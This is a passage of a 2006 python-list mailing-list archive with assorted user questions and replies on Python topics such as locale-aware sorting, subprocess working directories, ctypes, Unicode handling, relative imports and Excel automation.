Bacula, may be interesting too. (if my infos are correct).

F




From fredrik at pythonware.com  Mon Oct 16 14:28:29 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 16 Oct 2006 20:28:29 +0200
Subject: OT: What's up with the starship?
In-Reply-To: <1161021960.792970.238240@m73g2000cwd.googlegroups.com>
References: <mailman.419.1160722798.11739.python-list@python.org>	<SEhYg.7681$gL.2383@southeast.rr.com>	<1160926000.351967.8340@f16g2000cwb.googlegroups.com>	<1160938429.707909.28360@f16g2000cwb.googlegroups.com>	<1160947865.920162.173040@i3g2000cwc.googlegroups.com>	<1160974552.906162.115060@k70g2000cwa.googlegroups.com>	<1160983523.518768.16110@e3g2000cwe.googlegroups.com>	<mailman.580.1161021410.11739.python-list@python.org>
	<1161021960.792970.238240@m73g2000cwd.googlegroups.com>
Message-ID: <eh0j0d$lme$1@sea.gmane.org>

rurpy at yahoo.com wrote:

> Then perhaps you or he could explain it to us less intelligent
> people in very simple terms?

the security advisory explains that the cause of the problem is a bug
in the source code used to implement repr() for 32-bit Unicode strings, 
on all Python versions from 2.2 and onwards.

Python 2.2 was released in 2001.

</F>



From spedrosa at gmail.com  Thu Oct 19 17:22:56 2006
From: spedrosa at gmail.com (Stephen Eilert)
Date: 19 Oct 2006 14:22:56 -0700
Subject: Rapid desktop application development
Message-ID: <1161292976.350842.314090@m7g2000cwm.googlegroups.com>

Hi all,

There has been much hype lately about web "megaframeworks", like
TurboGears, Django and Rails(Ruby side). Those are all fantastic
frameworks, nicely integrated so that the user can focus on solving his
problem, instead of doing all the scaffolding and framework integration
by hand.

Now, I am not a fan of web applications so I'm creating a few GUI
applications using Python. Thanks to wxPython, those are all
native-looking, with powerful components. This is quite nice. Now, I
want to use some OR-Mapper, so I chose SQLObjects. This is nice too. I
do have to write controllers, model, and all the glue code between the
frameworks by hand.

However, I don't have to do that with a framework such as TurboGears,
for web applications. Everything is neatly integrated so that I just
have to "fill in the blanks". It would be the same application, except
that the presentation is GUI-based, instead of Web-based. MVC
architecture too and so on.

Are there any frameworks like those, for GUI applications? It would be
interesting to abstract away that repetitive work.


Thanks,

Stephen



From cmtaylor at ti.com  Mon Oct 30 18:18:54 2006
From: cmtaylor at ti.com (Taylor, Martin)
Date: Mon, 30 Oct 2006 17:18:54 -0600
Subject: PyDoc link to source code
Message-ID: <B689ACAE7DCF7F4BA933EF549070994C04C93BF6@dlee07.ent.ti.com>

When you use PyDoc, either with -w to generate a static web page or with
-p to run as a web server, the generated pages have a link in the upper
right corner to the source code for the referenced module. I can never
get this link to work.  I think part of the problem is that MS-IE
doesn't know what to do with a .py file (should treat it like plain
text).  Does anyone know how to make these links work?
 
Thanks,
 
C. Martin Taylor 
Sr. Test Automation Specialist 
Texas Instruments, Inc. 
Educational and Productivity Solutions 
7800 Banner Dr. MS 3908 
Dallas, TX 75251 

-------------- next part --------------
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From ldo at geek-central.gen.new_zealand  Sun Oct  8 23:42:32 2006
From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro)
Date: Mon, 09 Oct 2006 16:42:32 +1300
Subject: Asychronous execution *with* return codes?
References: <1160051584.291073.44350@m73g2000cwd.googlegroups.com>
	<1160053403.362330.136200@k70g2000cwa.googlegroups.com>
	<1160059393.325634.167640@e3g2000cwe.googlegroups.com>
	<1160065159.562889.184860@i3g2000cwc.googlegroups.com>
	<1160071806.019770.198470@e3g2000cwe.googlegroups.com>
Message-ID: <egcgda$viv$2@lust.ihug.co.nz>

In message <1160071806.019770.198470 at e3g2000cwe.googlegroups.com>,
utabintarbo wrote:

> Justin wrote:
>> If you're on a POSIX system, you could use the usual fork/exec/wait:
>> 
> Sorry. Win32. We are only allowed spoons - no sharp objects. :-P

How about installing Cygwin, then, and running under that?


From Leo.Kislov at gmail.com  Mon Oct 16 19:16:07 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 16 Oct 2006 16:16:07 -0700
Subject: Alphabetical sorts
In-Reply-To: <L_SYg.311$UF6.238@read3.inet.fi>
References: <4aQYg.6347$fl.1193@dukeread08>
	<slrnej7l5u.1dc.horpner@FIAD06.norwich.edu>
	<L_SYg.311$UF6.238@read3.inet.fi>
Message-ID: <1161040567.150338.208860@f16g2000cwb.googlegroups.com>



On Oct 16, 2:39 pm, Tuomas <tuomas.vesteri... at pp.inet.fi> wrote:
> My application needs to handle different language sorts. Do you know a
> way to apply strxfrm dynamically i.e. without setting the locale?

Collation is almost always locale dependant. So you have to set locale.
One day I needed collation that worked on Windows and Linux. It's not
that polished and not that tested but it worked for me:

import locale, os, codecs

current_encoding = 'ascii'
current_locale = ''

def get_collate_encoding(s):
    '''Grab character encoding from locale name'''
    split_name = s.split('.')
    if len(split_name) != 2:
        return 'ascii'
    encoding = split_name[1]
    if os.name == "nt":
        encoding = 'cp' + encoding
    try:
        codecs.lookup(encoding)
        return encoding
    except LookupError:
        return 'ascii'

def setup_locale(locale_name):
    '''Switch to new collation locale or do nothing if locale
       is the same'''
    global current_locale, current_encoding
    if current_locale == locale_name:
        return
    current_encoding = get_collate_encoding(
        locale.setlocale(locale.LC_COLLATE, locale_name))
    current_locale = locale_name

def collate_key(s):
    '''Return collation weight of a string'''
    return locale.strxfrm(s.encode(current_encoding, 'ignore'))

def collate(lst, locale_name):
    '''Sort a list of unicode strings according to locale rules.
       Locale is specified as 2 letter code'''
    setup_locale(locale_name)
    return sorted(lst, key = collate_key)


words = u'c ch f'.split()
print ' '.join(collate(words, 'en'))
print ' '.join(collate(words, 'cz'))

Prints:

c ch f
c f ch



From fredrik at pythonware.com  Sun Oct 29 15:58:22 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 29 Oct 2006 21:58:22 +0100
Subject: Observation on "Core Python Programming"
In-Reply-To: <1162152161.321947.257870@m73g2000cwd.googlegroups.com>
References: <1162135496.144591.304640@b28g2000cwb.googlegroups.com>
	<1162152161.321947.257870@m73g2000cwd.googlegroups.com>
Message-ID: <ei34lf$f69$1@sea.gmane.org>

Nick Vatamaniuc wrote:

> I would consider that an omission. Functions are very important in
> Python. I think the user/reader should see the _def_ and _class_
> statement fairly soon in the introduction.  The name of the book is
> thus somewhat misleading, because functions are at the "core" of
> Python.

have you read the book?

</F>



From paul at boddie.org.uk  Wed Oct 18 05:20:15 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 18 Oct 2006 02:20:15 -0700
Subject: Book about database application development?
References: <0001HW.C157FA8900644D9AF0407530@news.individual.de>
	<7xlknhg2rz.fsf@ruckus.brouhaha.com>
	<0001HW.C158378C00729A42F0407530@news.individual.de>
	<453352d4$0$12918$426a34cc@news.free.fr>
	<0001HW.C159B10900A0DF8AF0407530@news.individual.de>
	<8Z4Zg.6659$5i7.274@newsreading01.news.tds.net>
	<0001HW.C15AFA6600D738B5F0488530@news.individual.de>
	<UqiZg.15442$UG4.14288@newsread2.news.pas.earthlink.net>
Message-ID: <1161163215.654709.249960@i3g2000cwc.googlegroups.com>

Dennis Lee Bieber wrote:
>
>  Python has a half dozen GUI toolkits, and multiple adapters for
> databases (some don't even follow DB-API2 specs). All independently
> written. So no, you are not going to find, say, a grid widget that
> automatically links to a database table/view/cursor, with bi-directional
> updates.

Aren't we going round in circles here? There presumably are grid
widgets connected to database tables/views/cursors, if only exposed via
user interface toolkits and other frameworks such as PyQt, Dabo and so
on, but I thought the questioner wanted to know how to implement these
things from the ground up.

Paul



From IloChab at yahoo.it  Sun Oct  8 06:25:10 2006
From: IloChab at yahoo.it (IloChab)
Date: Sun, 08 Oct 2006 12:25:10 +0200
Subject: Implementing a circular counter using property / descriptors?
Message-ID: <pan.2006.10.08.10.25.09.468491@yahoo.it>

I'd like to implement an object that represents a circular counter, i.e.
an integer that returns to zero when it goes over it's maxVal.

This counter has a particular behavior in comparison: if I compare two of
them an they differ less than half of maxVal I want that, for example, 
0 > maxVal gives true. 
This is because my different counters  grew together and they never
differ a lot between them and so a value of 0 compared with an other of
maxVal means that the previous one just made its increment before the
other one.

The python problem that I give you it's about style. 
I'd like to write in my code something that looks almost like using an
integer object.  

I mean, I'd like to write:

cnt = CircularConter(maxVal=100, initialVal=10) 
cnt += 100     # cnt value is 9
print cnt      # prints 9
100 > cnt      # is false
cnt = 100      # cnt new value is 100 [NOT  rebind cnt with 100]

Until now I used this class:

class CircularConter:

    def __init__(self, maxVal, initialVal=0):
        self.maxVal = maxVal
        self.val = None
        self.set( initialVal )

    def __add__(self, increment):
        self.set( self.val + increment )
        return self

    def __cmp__(self, operand):
        return cmp(self.maxVal/2, abs(operand - self.val)) * cmp(self.val,
        operand)

    def __repr__(self):
        return str(self.val)
    def __str__(self):
        return str(self.val)

    def set(self, val):
        if val > self.maxVal:       self.val = val-self.maxVal-1 
        else:                       self.val = val


... and so my real writing was:

cnt = CircularConter(maxVal=100, initialVal=10) 
cnt += 100   
print cnt    
100 > cnt        # is false  
cnt.set(100)   

The fact is that I don't like to write cnt.set(100) or  
cnt = CircularConter(100, 100) instead of cnt = 100. 
So I thought that property or descriptors could be useful. 
I was even glad to write:

cnt = CircularConterWithProperty(maxVal=100, initialVal=10) 
cnt.val += 100
print cnt.val
100 > cnt.val      # is false
cnt.val = 100

just to give uniformity to counter accessing syntax. 
But I wasn't able to implement nothing working with my __cmp__ method.

I'll post one of mine NOT WORKING implementation.


class pro(object):

    def __init__(self, maxVal, val):
        self._maxVal = maxVal
        self._val = val
        
    def getval(self):
        return self._val
    
    def setval(self, val):
        if val > self._maxVal:       self._val = val-self._maxVal-1 
	else:                        self._val = val
    val = property(getval, setval)


class CircularConterWithProperty(pro):

    def __init__(self, maxVal, val=0):
        super(CircularConterWithProperty, self).__init__( maxVal, val)

    def __cmp__(self, operand):
        return cmp(self.maxVal/2, abs(operand - self.val)) * cmp(self.val,
        operand)



__ I know why this doesn't work. __

__ What I don't know __  is if there is a way to write a class that allows
my desire of uniform syntax or if IT IS JUST A NON SENSE.

I'll thank in advance for any answer.

Saluti a tutti
Licia


From vinogri at mcmaster.ca  Thu Oct 26 17:50:48 2006
From: vinogri at mcmaster.ca (Ivan Vinogradov)
Date: Thu, 26 Oct 2006 17:50:48 -0400
Subject: subprocess cwd keyword.
Message-ID: <F2E80C1C-DA60-4A7E-A85E-2278D5522200@mcmaster.ca>

Dear All,

I would greatly appreciate a nudge in the right direction concerning  
the use of cwd argument in the call function from subprocess module.

The setup is as follows:

driver.py		<- python script
core/  			<- directory
	main		<- fortran executable in the core directory


driver script generates some input files in the core directory. Main  
should do its thing and dump the output files back into core.
The problem is, I can't figure out how to do this properly.

call("core/main") works but uses .. of core for input/output.

call("core/main",cwd="core") and call("main",cwd="core") both result in
   File "driver.py", line 47, in <module>
     main()
   File "driver.py", line 40, in main
     print "OUT", call("core/main", cwd="core")
   File "/Library/Frameworks/Python.framework/Versions/2.5/lib/ 
python2.5/subprocess.py", line 443, in call
     return Popen(*popenargs, **kwargs).wait()
   File "/Library/Frameworks/Python.framework/Versions/2.5/lib/ 
python2.5/subprocess.py", line 593, in __init__
     errread, errwrite)
   File "/Library/Frameworks/Python.framework/Versions/2.5/lib/ 
python2.5/subprocess.py", line 1051, in _execute_child
     raise child_exception
OSError: [Errno 2] No such file or directory

perhaps if subprocess would indicate the abs path of the object in  
question I could figure it out, but as is I'm lost.
    	
--
Cheers, Ivan.






From gagsl-py at yahoo.com.ar  Tue Oct 24 22:37:33 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Tue, 24 Oct 2006 23:37:33 -0300
Subject: Want to reduce steps of an operation with dictionaries
In-Reply-To: <1161736179.467075.307030@m73g2000cwd.googlegroups.com>
References: <1161736179.467075.307030@m73g2000cwd.googlegroups.com>
Message-ID: <7.0.1.0.0.20061024232637.03941968@yahoo.com.ar>

At Tuesday 24/10/2006 21:29, pretoriano_2001 at hotmail.com wrote:

>a={'a':0, 'b':1, 'c':2, 'd':3}
>b={'a':0, 'c':1, 'd':2, 'e':3}
>I want to put in a new dictionary named c all the keys that are in b
>and re-sequence the values. The result I want is:
>c={'a':0, 'c':1, 'd':2}
>How can I do this with one line of instruction?

Why "one line"? Choosing the right data structure is far more 
important than squeezing the code to fit on one single line.

I'm not sure if I understand you correctly - or maybe you're 
confusing yourself.
If you're going to "re-sequence" the values, the original values are 
not relevant at all; so maybe you need a list instead of a dict.

Perhaps this is what you want (something like swapping keys<->values):

a = ['a', 'b', 'c', 'd']
b = ['a', 'c', 'd', 'e']
c = [x for x in a if x in b]
c == ['a', 'c', 'd']
c[0] == 'a'
c[1] == 'c'
c[2] == 'd'


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From rdharles at gmail.com  Mon Oct 16 15:12:38 2006
From: rdharles at gmail.com (rdharles at gmail.com)
Date: 16 Oct 2006 12:12:38 -0700
Subject: string splitting
Message-ID: <1161025958.201815.174020@m73g2000cwd.googlegroups.com>

Hello,
I have thousands of files that look something like this:

wisconsin_state.txt
french_guiana_district.txt
central_african_republic_province.txt

I need to extract the string between the *last* underscore and the
extention.
So based on the files above, I want returned:
state
district
province

My plan was to use .split or .find but I can't figure out how locate
only the last underscore in the filename.

Anyone have any ideas?

Thanks.
R.D.



From nairarunv at gmail.com  Thu Oct 26 07:19:21 2006
From: nairarunv at gmail.com (Arun Nair)
Date: 26 Oct 2006 04:19:21 -0700
Subject: Error to be resolved
Message-ID: <1161861560.979401.29710@m73g2000cwd.googlegroups.com>

Hey guys can you help me resolve this error

Thanks & Regards,

Arun Nair
This is the program
========================================================================
from random import *
from string import *
class Card:

    def __init__(self, suit, rank):
        self.suit = suit
        self.rank = rank
        self.rank = ["None","Clubs","Diamonds","Hearts","Spades"]
        self.suit = ["zero", "Ace", "2", "3", "4", "5", "6", "7", "8",
"9", "10", "Jack", "Queen", "King"]
        self.BJ = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10]

    def getRank(self):
        return self.rank

    def getSuit(self):
        return self.suit

    def BJValue(self):
        return self.BJ

    def __str__(self):
        return " %s of %s(%s)" % (self.rank[self.rank],
self.suit[self.suit], self.BJ[self.rank])

def main():
    n = input("How many cards do you want to draw from the deck?")
    for i in range(n):
        a = randrange(1,13)
        b = randrange(1,4)
        c = Card(a,b)
        print c

main()
=========================================================================
This is the error
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>> Traceback (most recent call last):
  File
"C:\Python24\Lib\site-packages\pythonwin\pywin\framework\scriptutils.py",
line 310, in RunScript
    exec codeObject in __main__.__dict__
  File "D:\A2_3.1.py", line 32, in ?
    main()
  File "D:\A2_3.1.py", line 30, in main
    print c
  File "D:\A2_3.1.py", line 22, in __str__
    return " %s of %s(%s)" % (self.rank[self.rank],
self.suit[self.suit], self.BJ[self.rank])
TypeError: list indices must be integers
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>



From eurleif at ecritters.biz  Tue Oct 24 11:07:29 2006
From: eurleif at ecritters.biz (Leif K-Brooks)
Date: Tue, 24 Oct 2006 11:07:29 -0400
Subject: The format of filename
In-Reply-To: <slrnejsaoq.1gg.horpner@FIAD06.norwich.edu>
References: <slrnejs9l1.184.horpner@FIAD06.norwich.edu>
	<mailman.1074.1161701843.11739.python-list@python.org>
	<slrnejsaoq.1gg.horpner@FIAD06.norwich.edu>
Message-ID: <453e2b6e$0$13814$4d3efbfe@news.sover.net>

Neil Cerutti wrote:
> Is translation of '/' to '\\' a feature of Windows or Python?

It's a feature of Windows, but it isn't a translation. Both slashes are 
valid path separators on Windows; backslashes are just the canonical form.


From onurb at xiludom.gro  Fri Oct 20 05:19:47 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Fri, 20 Oct 2006 11:19:47 +0200
Subject: help with my first use of a class
In-Reply-To: <1161325977.502197.142350@m73g2000cwd.googlegroups.com>
References: <1161324003.586807.145410@b28g2000cwb.googlegroups.com>
	<1161325977.502197.142350@m73g2000cwd.googlegroups.com>
Message-ID: <453894b4$0$31252$426a74cc@news.free.fr>

BartlebyScrivener wrote:
> Whoah. At least I got the connection. I think. Maybe I can figure more
> on my own. Any help appreciated.
> 
> Thanks
> 
> ---------
> 
> class Connection:
>     def __init__(self, aDatasource):
>         self.db = aDatasource
>         self.conn = odbc.DriverConnect(self.db)
>         self.conn.cursor()

This creates a cursor, that's immediatly discarded.

> def random_quote():
>     """
>     Counts all of the quotes in MS Access database Quotations2005.mdb.
>     Picks one quote at random and displays it using textwrap.
>     """
>     c = Connection('DSN=Quotations')
>     c.execute ("SELECT COUNT(Quote) FROM PythonQuoteQuery")

And this will raise an AttributeError, since your (mostly useless)
Connection class doesn't define an 'execute' method.

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From snaury at gmail.com  Sat Oct 14 18:51:02 2006
From: snaury at gmail.com (Alexey Borzenkov)
Date: 14 Oct 2006 15:51:02 -0700
Subject: Relative import bug or not?
Message-ID: <1160866262.002826.110940@m7g2000cwm.googlegroups.com>

After reading PEP-0328 I wanted to give relative imports a try:

# somepkg/__init__.py
<empty>

# somepkg/test1.py
from __future__ import absolute_import
from . import test2

if __name__ == "__main__":
    print "Test"

# somepkg/test2.py
<empty>

But it complaints:
C:\1\somepkg>test1.py
Traceback (most recent call last):
  File "C:\1\somepkg\test1.py", line 1, in <module>
    from . import test2
ValueError: Attempted relative import in non-package

Does this mean that packages that implement self tests are not allowed
to use relative import? Or is it just a bug? I can understand that I
can use "import test2" when it's __main__, but when it's not now it
complains about no module test2 with absolute_import on.

PEP-0328 also has this phrase: "Relative imports use a module's
__name__ attribute to determine that module's position in the package
hierarchy. If the module's name does not contain any package
information (e.g. it is set to '__main__') then relative imports are
resolved as if the module were a top level module, regardless of where
the module is actually located on the file system.", but maybe my
english knowledge is not really good, because I can't understand what
should actually happen here ("relative imports are resolved as if the
module were a top level module")... :-/

So is it a bug, or am I doing something wrong?



From onurb at xiludom.gro  Fri Oct 27 08:00:23 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Fri, 27 Oct 2006 14:00:23 +0200
Subject: conditional computation
In-Reply-To: <ehsmrt$2b8i$1@ulysses.news.tiscali.de>
References: <ehr2bu$24l9$1@ulysses.news.tiscali.de>
	<mailman.1292.1161892930.11739.python-list@python.org>
	<ehr562$251c$1@ulysses.news.tiscali.de>
	<4541369b$0$2875$426a74cc@news.free.fr>
	<ehsmrt$2b8i$1@ulysses.news.tiscali.de>
Message-ID: <4541f4d7$0$7249$426a74cc@news.free.fr>

robert wrote:
> Bruno Desthuilliers wrote:
>> robert a ?crit :
>> (snip)
>>> class MemoCache(dict): # cache expensive Objects during a session
>>> (memory only)
>>>    def memo(self, k, f):
>>>        try: return self[k]
>>>        except KeyError:            #<--------- was error           
>>> return self.setdefault(k, f())
>>> cache=MemoCache()
>>> ...
>>>
>>> o = cache.memo( complex-key-expr, lambda: expensive-calc-expr )
>>>
>>
>> And how do you get back the cached value without rewriting both
>> complex-key-expr *and* expensive-calc-expr ? Or did I missed the point ?
> 
> the complex-key-expr is written only once in the code

How do you get something back from the cache then ?

> expensive-calc-expr is  written only once in code 

Same problem here...  I fail to understand how you intend to use this
"cache".



-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From duncan.booth at invalid.invalid  Sat Oct 14 04:51:30 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 14 Oct 2006 08:51:30 GMT
Subject: A friendlier,
	sugarier lambda -- a proposal for Ruby-like blocks in python
References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
	<7xhcy72xm1.fsf@ruckus.brouhaha.com>
Message-ID: <Xns985C64478E47Fduncanbooth@127.0.0.1>

Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote:

> brenocon at gmail.com writes:
>>     deferred = fetchPage('http://python.org')
>>     def _showResponse(response)
>>         print "fancy formatting: %s" % response.text
>>     deferred.addCallback(_showResponse)
>> 
>> Lots of Twisted code has to be written backwards like this.
> 
> But that's just ugly.  The fetchPage function should take the callback
> as an argument.  In an asynchronous system it would even be buggy.
> What happens if the page fetch completes before you add the callback?

Or it should be trivial to give deferred a decorator method and write:

@deferred.callback
def _showResponse(response):
    ...



From cfbolz at gmx.de  Fri Oct  6 09:48:50 2006
From: cfbolz at gmx.de (Carl Friedrich Bolz)
Date: Fri, 06 Oct 2006 15:48:50 +0200
Subject: Scientific computing and data visualization.
In-Reply-To: <1157652641.877725.223880@h48g2000cwc.googlegroups.com>
References: <mailman.85.1157564525.5279.python-list@python.org>	<1157574433.664189.217960@m73g2000cwd.googlegroups.com>	<mailman.100.1157579667.5279.python-list@python.org>
	<1157652641.877725.223880@h48g2000cwc.googlegroups.com>
Message-ID: <45265EC2.1020100@gmx.de>

bernhard.voigt at gmail.com wrote:
> A commonly used data analysis framework is root (http://root.cern.ch).
> It offers a object oriented C++ framework with all kind of things one
> needs for plotting and data visualization. It comes along with PyRoot,
> an interface making the root objects available to Python.
> Take a look at the root manual for examples, it also contains a section
> describing the use of PyRoot.

I can definitively second that. ROOT is a bit hard to learn but very,
very powerful and PyRoot is really a pleasure to work with.

Cheers,

Carl Friedrich Bolz



From exarkun at divmod.com  Thu Oct  5 10:57:33 2006
From: exarkun at divmod.com (Jean-Paul Calderone)
Date: Thu, 5 Oct 2006 10:57:33 -0400
Subject: socket client server... simple example... not working...
In-Reply-To: <1160056909.927803.251790@i42g2000cwa.googlegroups.com>
Message-ID: <20061005145733.1717.852527647.divmod.quotient.68183@ohm>

On 5 Oct 2006 07:01:50 -0700, SpreadTooThin <bjobrien62 at gmail.com> wrote:
> [snip]
>
>Jean-Paul many thanks for this and your effort.
>but why is it every time I try to do something with 'stock' python I
>need another package?

Maybe you are trying to do things that are too complex :)

>By the time I've finished my project there are like 5 3rd party add-ons
>to be installed.

I don't generally find this to be problematic.

>I know I'm a python newbie... but I'm far from a developer newbie and
>that can be a recipe for
>disaster.

Not every library can be part of the standard library, neither can the
standard library satisfy every possible use-case.  Relying on 3rd party
modules isn't a bad thing.

>The stock socket should work and I think I've missed an
>obvious bug in the code other
>than checking the return status.
>

Well, I did mention one bug other than failure to check return values.
Maybe you missed it, since it was in the middle.  Go back and re-read
my response.

Jean-Paul


From tkondal at gmail.com  Wed Oct  4 14:53:51 2006
From: tkondal at gmail.com (tkondal at gmail.com)
Date: 4 Oct 2006 11:53:51 -0700
Subject: Having trouble using CTypes with a custom function
In-Reply-To: <mailman.1281.1159987788.10491.python-list@python.org>
References: <1159985896.742017.313430@e3g2000cwe.googlegroups.com>
	<mailman.1280.1159986345.10491.python-list@python.org>
	<1159986910.925738.146560@i42g2000cwa.googlegroups.com>
	<mailman.1281.1159987788.10491.python-list@python.org>
Message-ID: <1159988031.804084.253010@i42g2000cwa.googlegroups.com>

Hi Chris.

I know that it is easy to fix the problem using C++.  However, I do not
want to code a wrapper DLL.  I was wondering if there was a workaround
with Python. Everything has to be done in Python as we do not have the
tools for C++ (and we are not planning on getting any).

Thanks.

Chris Mellon wrote:
> <please don't top post>
>
> On 4 Oct 2006 11:35:11 -0700, tkondal at gmail.com <tkondal at gmail.com> wrote:
> > Would you have any example of a wrapper for such data types?
> >
> > Thanks.
> >
> > Chris Mellon wrote:
> > > On 4 Oct 2006 11:18:16 -0700, tkondal at gmail.com <tkondal at gmail.com> wrote:
> > > > Hi all.
> > > >
> > > > I just started looking at Python's ctypes lib and I am having trouble
> > > > using it for a function.
> > > >
> > > > For starters, here's my Python code:
> > > >
> > > >
> > > > from ctypes import*;
> > > > myStringDLL= cdll.LoadLibrary("myStringDLL.dll");
> > > >
> > > > GetMyString = getattr(myStringDLL,
> > > > "?GetMyString@@YA_NAAV?$basic_string at DU?$char_traits at D@std@@V?$allocator at D@2@@std@@@Z")
> > > >
> > > > strString =  create_string_buffer('\000' * 256);
> > > > GetMyString.restype = c_int;
> > > > GetMyString.argtypes = [c_char_p];
> > > >
> > > > bResult = GetMyString (strSerialNumber);
> > > >
> > > > print (bResult);
> > > > print (strSerialNumber);
> > > >
> > > > #C++ Prototype of the function I want to call:
> > > > #bool GetMyString (string& stringParam) ;
> > > >
> > > >
> > > >
> > > >
> > > > I do not have access to the source code of this function so don't ask
> > > > me to try different things in C++.  This DLL is working fine.
> > > >
> > > > The problem that I have is that print (strSerialNumber) does not seem
> > > > to print the correct string.  What I get is some garbage value of
> > > > unprintable characters.  Am I using this the correct way?
> > > >
> > >
> > >
> > >
> > >
> > > This function is expecting a C++ std::string object, not a regular C
> > > style string. You'll need a wrapper function, and one which uses the
> > > same compiler and STL as the C++ source.
> > >
> > > > Thanks.
> > > >
> > > > --
> > > > http://mail.python.org/mailman/listinfo/python-list
> > > >
> >
>
> in this case it'd be very simple:
>
> bool WrapGetMyString(char * c) {
>   return GetMyString(c)
> }
>
>
> (Note: This isn't unicode safe).
>
> The C++ compiler will handle converting from the char * to the std::string.
>
>
>
> 
> 
> > --
> > http://mail.python.org/mailman/listinfo/python-list
> >



From sonaldgr8 at gmail.com  Fri Oct 20 08:25:55 2006
From: sonaldgr8 at gmail.com (sonald)
Date: 20 Oct 2006 05:25:55 -0700
Subject: Unicode support in python
In-Reply-To: <mailman.827.1161335364.11739.python-list@python.org>
References: <1161333949.746819.253500@m7g2000cwm.googlegroups.com>
	<eha35a$c8c$1@sea.gmane.org>
	<mailman.827.1161335364.11739.python-list@python.org>
Message-ID: <1161347155.127042.88710@m7g2000cwm.googlegroups.com>


Fredrik Lundh wrote:
> >    http://www.google.com/search?q=python+unicode
>
> (and before anyone starts screaming about how they hate RTFM replies, look
> at the search result)
>
> </F>
Thanks!! but i have already tried this...
and let me tell you what i am trying now...

I have added the following line in the script

# -*- coding: utf-8 -*-

I have also modified the site.py in ./Python24/Lib as
def setencoding():
    """Set the string encoding used by the Unicode implementation.  The
    default is 'ascii', but if you're willing to experiment, you can
    change this."""
    encoding = "utf-8" # Default value set by _PyUnicode_Init()
    if 0:
        # Enable to support locale aware default string encodings.
        import locale
        loc = locale.getdefaultlocale()
        if loc[1]:
            encoding = loc[1]
    if 0:
        # Enable to switch off string to Unicode coercion and implicit
        # Unicode to string conversion.
        encoding = "undefined"
    if encoding != "ascii":
        # On Non-Unicode builds this will raise an AttributeError...
        sys.setdefaultencoding(encoding) # Needs Python Unicode build !

Now when I try to validate the data in the text file
say abc.txt (saved as with utf-8 encoding) containing either english or
russian text,

some junk character (box like) is added as the first character
what must be the reason for this?
and how do I handle it?



From ghalsey at yahoo.com  Tue Oct 10 19:08:10 2006
From: ghalsey at yahoo.com (greg.rb)
Date: 10 Oct 2006 16:08:10 -0700
Subject: Adding Worksheets to an Excel Workbook
References: <1160514523.693496.223630@e3g2000cwe.googlegroups.com>
Message-ID: <1160521690.691861.283500@e3g2000cwe.googlegroups.com>

# here is a simple script:

from win32com.client import Dispatch

xlApp = Dispatch("Excel.Application")
xlApp.Visible=1 #show me excel
xlApp.Workbooks.Add() #add a workbook

for r in range(1,5): #put data into spreadsheet row/column
    xlApp.Cells(r,r).Value=r

for r in range(1,5): #read data from sheet
    print xlApp.Cells(r,r).Value

xlApp.Worksheets.Add()#add another sheet in same workbook.

for r in range(1,11): #put data into spreadsheet
    xlApp.Cells(1,r).Value=r #first row this tome

#xlApp.ActiveWorkbook.Close()
#xlApp.Quit

Good luck.

Here is a free Excel Object Model Overview:
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dv_wrcore/html/wrconexcelobjectmodeloverview.asp



From paddy3118 at netscape.net  Sun Oct 29 11:46:08 2006
From: paddy3118 at netscape.net (Paddy)
Date: 29 Oct 2006 08:46:08 -0800
Subject: Regular Expression help for parsing html tables
In-Reply-To: <1162071780.766299.274830@e64g2000cwd.googlegroups.com>
References: <1162071780.766299.274830@e64g2000cwd.googlegroups.com>
Message-ID: <1162140368.810434.48490@k70g2000cwa.googlegroups.com>


steve551979 at hotmail.com wrote:
> Hello,
>
> I am having some difficulty creating a regular expression for the
> following string situation in html. I want to find a table that has
> specific text in it and then extract the html just for that immediate
> table.
>
> the string would look something like this:
>
> ...stuff here...
> <table>
> ...stuff here...
> <table>
> ...stuff here...
> <table>
> ...
> text i'm searching for
> ...
> </table>
> ...stuff here...
> </table>
> ...stuff here...
> </table>
> ...stuff here...
>
>
> My question:  is there a way in RE to say:   "when I find this text I'm
> looking for, search backwards and find the immediate instance of the
> string "<table>"  and then search forwards and find the immediate
> instance of the string "</table>".  " ?
>
> any help is appreciated.
>
> Steve.

Might searching the output of BeautifulSoup(html).prettify() make
things easier?

http://www.crummy.com/software/BeautifulSoup/documentation.html#Parsing%20HTML

- Paddy



From steve at REMOVEME.cybersource.com.au  Mon Oct 23 21:44:05 2006
From: steve at REMOVEME.cybersource.com.au (Steven D'Aprano)
Date: Tue, 24 Oct 2006 11:44:05 +1000
Subject: Negative integers and string formating
Message-ID: <pan.2006.10.24.01.44.04.331823@REMOVEME.cybersource.com.au>

Problem: I have an application where I need to print integers differently
depending on whether they are positive or negative. To be more specific, I
have to print something that looks like:

"something + 1"
"something - 1" 

Note the space between the sign and the number. If I didn't need that
space, I would have no problem. Yes, I do need that space.

I build the format string on the fly, then pass it to another function
which actually fills in the values. Simplified example:

def format(n):
    if n > 0:
        return "something positive + %(argument)d"
        # real code has a good half-dozen named keys
    elif n < 0:
        return "something negative - %(argument)d"
    else:
        return "blank"

def display(**kwargs):
